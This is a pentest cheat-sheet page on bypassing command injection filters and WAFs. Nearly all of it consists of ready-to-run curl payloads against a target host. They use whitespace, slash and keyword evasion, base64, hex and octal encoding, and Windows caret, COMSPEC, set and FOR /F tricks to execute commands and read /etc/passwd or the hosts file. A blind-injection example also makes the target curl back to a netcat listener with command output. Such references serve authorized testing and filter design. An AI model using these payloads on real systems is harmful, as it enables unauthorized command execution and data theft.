# Command Injection Bypasses

> Techniques to bypass command injection filters and WAFs, including encoding, delimiter abuse, whitespace evasion, and chained payloads for OS command execution.

- **URL:** https://hackindex.io/services/web/exploitation/file-inclusion/command-injection-bypasses
- **Path:** HTTP/HTTPS > Exploitation > File Inclusion Exploitation
- **Up:** [File Inclusion Exploitation](https://hackindex.io/services/web/exploitation/file-inclusion.md)
- **Published:** 2026-01-26
- **Updated:** 2026-04-24

Command injection filters typically block spaces, slashes, and known command names. Each bypass technique targets a specific filter type. Start with the simplest and move to more complex only if the simpler ones fail. Always confirm baseline injection works first: if `whoami` executes cleanly, only apply bypasses when a filtered character or keyword blocks further progress.

Bypass techniques by filter type:

- **Space filters**: use `%09` (tab), `$IFS`, or brace expansion `{cmd,arg}`
- **Slash filters**: extract `/` from `${PATH:0:1}`
- **Keyword blacklists**: break commands with quotes, backslashes, or `$@`
- **Full payload encoding**: base64, hex (`\x77`), or octal (`\167`) encode the entire command
- **Blind confirmation**: use `sleep` delays or out-of-band callbacks when output is not reflected

## Space Bypass

Most filters check for literal space (0x20) but miss alternative whitespace and shell expansion:

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=cat%09/etc/passwd"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=cat\$IFS/etc/passwd"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd={cat,/etc/passwd}"
```

## Slash Bypass

When `/` is blocked, reconstruct the path from environment variables:

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=cat\${PATH:0:1}etc\${PATH:0:1}passwd"
```

`${PATH:0:1}` extracts the first character from `$PATH`, which is always `/` on a standard Linux system.

## Command Injection Filter Bypass for Keyword Blacklists

Filters that match exact command strings miss these shell parsing tricks:

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=w'h'o'am'i"
# www-data
```

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=w\ho\am\i"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=who\$@ami"
```

On Windows CMD, the caret `^` is an escape character and is ignored during execution:

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=who^ami"
```

## Base64 Encoding

Encodes the entire command so no keywords or special characters appear in the request. The most reliable bypass for aggressive keyword filters:

```bash
echo -n 'cat /etc/passwd' | base64
# Y2F0IC9ldGMvcGFzc3dk
```

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=bash<<<\$(base64\$IFS-d<<<Y2F0IC9ldGMvcGFzc3dk)"
```

## Hex and Octal Encoding

Shell-level character encoding for when base64 itself is blocked:

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=\$(printf '%b' '\x77\x68\x6f\x61\x6d\x69')"
# www-data
```

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=\$'\167\150\157\141\155\151'"
# www-data
```

## Blind Injection Confirmation

When command output is not reflected in the response, confirm execution through timing or out-of-band callbacks:

```bash
time curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=sleep\$IFS5"
# real    0m5.123s
```

```bash
nc -lvnp $LPORT &
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=curl\$IFS$LHOST:$LPORT/\$(whoami)"
# GET /www-data HTTP/1.1
```

## Windows Bypass Techniques

Windows CMD and PowerShell have their own bypass primitives. These work when the target runs on Windows and Linux-style `$IFS` or `${PATH:0:1}` tricks do not apply.

### Caret Insertion

The caret (`^`) is CMD's escape character and is stripped during execution. Insert it anywhere in a blocked keyword to evade string matching:

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.aspx?cmd=n^et+u^se^r"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.aspx?cmd=typ^e+c:^\win^dows^\sy^ste^m32^\dr^ive^rs^\et^c^\ho^sts"
```

Carets work between any characters in a command name or argument. Place multiple to break up longer blocked strings.

### COMSPEC Substring Extraction

`%COMSPEC%` resolves to `C:\WINDOWS\system32\cmd.exe`. Use it directly when `cmd` is blocked as a keyword, or extract individual characters by position with `%COMSPEC:~offset,length%`:

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.aspx?cmd=%25COMSPEC%25+/c+whoami"
# nt authority\iis apppool
```

`%25COMSPEC%25` is URL-encoded `%COMSPEC%`. CMD expands it to the full `cmd.exe` path. For extracting specific characters: `%COMSPEC:~2,1%` gives `\` (the backslash at position 2), useful when `\` itself is filtered.

### Variable Concatenation with set

Use `set` to build a command from fragments, then execute the combined variable. Keyword filters cannot match the final command because it only exists at runtime:

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.aspx?cmd=set+a=who%26%26set+b=ami%26%26call+%25a%25%25b%25"
# nt authority\iis apppool
```

URL-decoded, the payload is `set a=who&&set b=ami&&call %a%%b%`. CMD sets two variables, then `call` expands and executes `whoami`.

### FOR /F Loop Execution

`FOR /F` executes a command and captures its output. Useful when direct command invocation is blocked:

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.aspx?cmd=for+/f+%22tokens=*%22+%25a+in+('whoami')+do+echo+%25a"
```

The FOR loop avoids direct command name matching. Combined with caret insertion on the inner command, it bypasses multi-layered keyword filters.

## References

- [PayloadsAllTheThings: Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - Bypass payload collection for space, slash, and keyword filters
- [OWASP: Command Injection](https://owasp.org/www-community/attacks/Command_Injection) - Core vulnerability pattern and filter evasion context